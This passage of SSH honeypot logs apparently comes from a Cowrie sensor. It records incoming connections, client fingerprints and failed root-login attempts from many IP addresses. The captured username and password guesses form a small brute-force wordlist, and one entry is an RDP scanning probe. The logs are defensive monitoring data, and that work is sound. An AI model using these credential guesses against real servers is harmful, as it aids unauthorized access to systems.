16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:06.795233Z","src_ip":"103.149.170.125","session":"421251ed9413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"f123456","message":"login attempt [root/f123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:08.601540Z","src_ip":"103.149.170.125","session":"421251ed9413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:09.872536Z","src_ip":"103.149.170.125","session":"421251ed9413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":47910,"dst_ip":"10.17.0.5","dst_port":22,"session":"a11163d43b2a","protocol":"ssh","message":"New connection: 80.94.92.184:47910 (10.17.0.5:22) [session: a11163d43b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:17.740597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:18.023262Z","src_ip":"80.94.92.184","session":"a11163d43b2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:18.030941Z","src_ip":"80.94.92.184","session":"a11163d43b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57392,"dst_ip":"159.203.135.109","dst_port":22,"session":"99a5929a37c3","protocol":"ssh","message":"New connection: 167.172.81.52:57392 (159.203.135.109:22) [session: 99a5929a37c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:18.535744Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:18.542772Z","src_ip":"167.172.81.52","session":"99a5929a37c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:18.547110Z","src_ip":"167.172.81.52","session":"99a5929a37c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"solv","message":"login attempt [solv/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:20.827311Z","src_ip":"80.94.92.184","session":"a11163d43b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:22.166833Z","src_ip":"80.94.92.184","session":"a11163d43b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":58722,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbf1b20ba6c0","protocol":"ssh","message":"New connection: 103.27.238.114:58722 (10.17.0.5:22) [session: bbf1b20ba6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:51.213207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:51.216977Z","src_ip":"103.27.238.114","session":"bbf1b20ba6c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:51.494895Z","src_ip":"103.27.238.114","session":"bbf1b20ba6c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":42132,"dst_ip":"159.203.135.109","dst_port":22,"session":"58a16cfffa95","protocol":"ssh","message":"New connection: 43.130.29.69:42132 (159.203.135.109:22) [session: 58a16cfffa95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:51.913887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:51.922018Z","src_ip":"43.130.29.69","session":"58a16cfffa95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:51.990158Z","src_ip":"43.130.29.69","session":"58a16cfffa95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"s0p0rt3","message":"login attempt [soporte/s0p0rt3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:52.294502Z","src_ip":"43.130.29.69","session":"58a16cfffa95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jktymrf","message":"login attempt [root/jktymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:52.331674Z","src_ip":"103.27.238.114","session":"bbf1b20ba6c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:53.364787Z","src_ip":"43.130.29.69","session":"58a16cfffa95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:14:53.611924Z","src_ip":"103.27.238.114","session":"bbf1b20ba6c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":51290,"dst_ip":"10.17.0.5","dst_port":22,"session":"44bbb1612e3d","protocol":"ssh","message":"New connection: 103.75.182.198:51290 (10.17.0.5:22) [session: 44bbb1612e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:15:01.052002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:15:01.057222Z","src_ip":"103.75.182.198","session":"44bbb1612e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:15:01.296004Z","src_ip":"103.75.182.198","session":"44bbb1612e3d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987k654","message":"login attempt [root/987k654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:15:02.017845Z","src_ip":"103.75.182.198","session":"44bbb1612e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:15:03.273473Z","src_ip":"103.75.182.198","session":"44bbb1612e3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":58138,"dst_ip":"159.203.135.109","dst_port":22,"session":"50d77cc197cf","protocol":"ssh","message":"New connection: 176.32.39.21:58138 (159.203.135.109:22) [session: 50d77cc197cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:15:56.214254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:15:56.218394Z","src_ip":"176.32.39.21","session":"50d77cc197cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:15:56.339093Z","src_ip":"176.32.39.21","session":"50d77cc197cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1233211","message":"login attempt [root/1233211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:15:56.701176Z","src_ip":"176.32.39.21","session":"50d77cc197cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:15:57.823737Z","src_ip":"176.32.39.21","session":"50d77cc197cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":45682,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a24851e488f","protocol":"ssh","message":"New connection: 43.130.29.69:45682 (159.203.135.109:22) [session: 0a24851e488f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:00.268098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:00.273638Z","src_ip":"43.130.29.69","session":"0a24851e488f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:00.343723Z","src_ip":"43.130.29.69","session":"0a24851e488f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#QWEqwe","message":"login attempt [root/123!@#QWEqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:00.652708Z","src_ip":"43.130.29.69","session":"0a24851e488f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:01.725986Z","src_ip":"43.130.29.69","session":"0a24851e488f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":46996,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec13d55b7c61","protocol":"ssh","message":"New connection: 103.173.227.57:46996 (10.17.0.5:22) [session: ec13d55b7c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:32.148636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:32.153359Z","src_ip":"103.173.227.57","session":"ec13d55b7c61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:32.395516Z","src_ip":"103.173.227.57","session":"ec13d55b7c61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hollywood","message":"login attempt [root/hollywood] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:33.124515Z","src_ip":"103.173.227.57","session":"ec13d55b7c61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:34.369265Z","src_ip":"103.173.227.57","session":"ec13d55b7c61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":54934,"dst_ip":"159.203.135.109","dst_port":22,"session":"6627abd9155d","protocol":"ssh","message":"New connection: 77.94.47.83:54934 (159.203.135.109:22) [session: 6627abd9155d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:40.158183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:40.162479Z","src_ip":"77.94.47.83","session":"6627abd9155d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:40.287568Z","src_ip":"77.94.47.83","session":"6627abd9155d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"235689","message":"login attempt [root/235689] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:16:40.659927Z","src_ip":"77.94.47.83","session":"6627abd9155d","protocol":"ssh"}
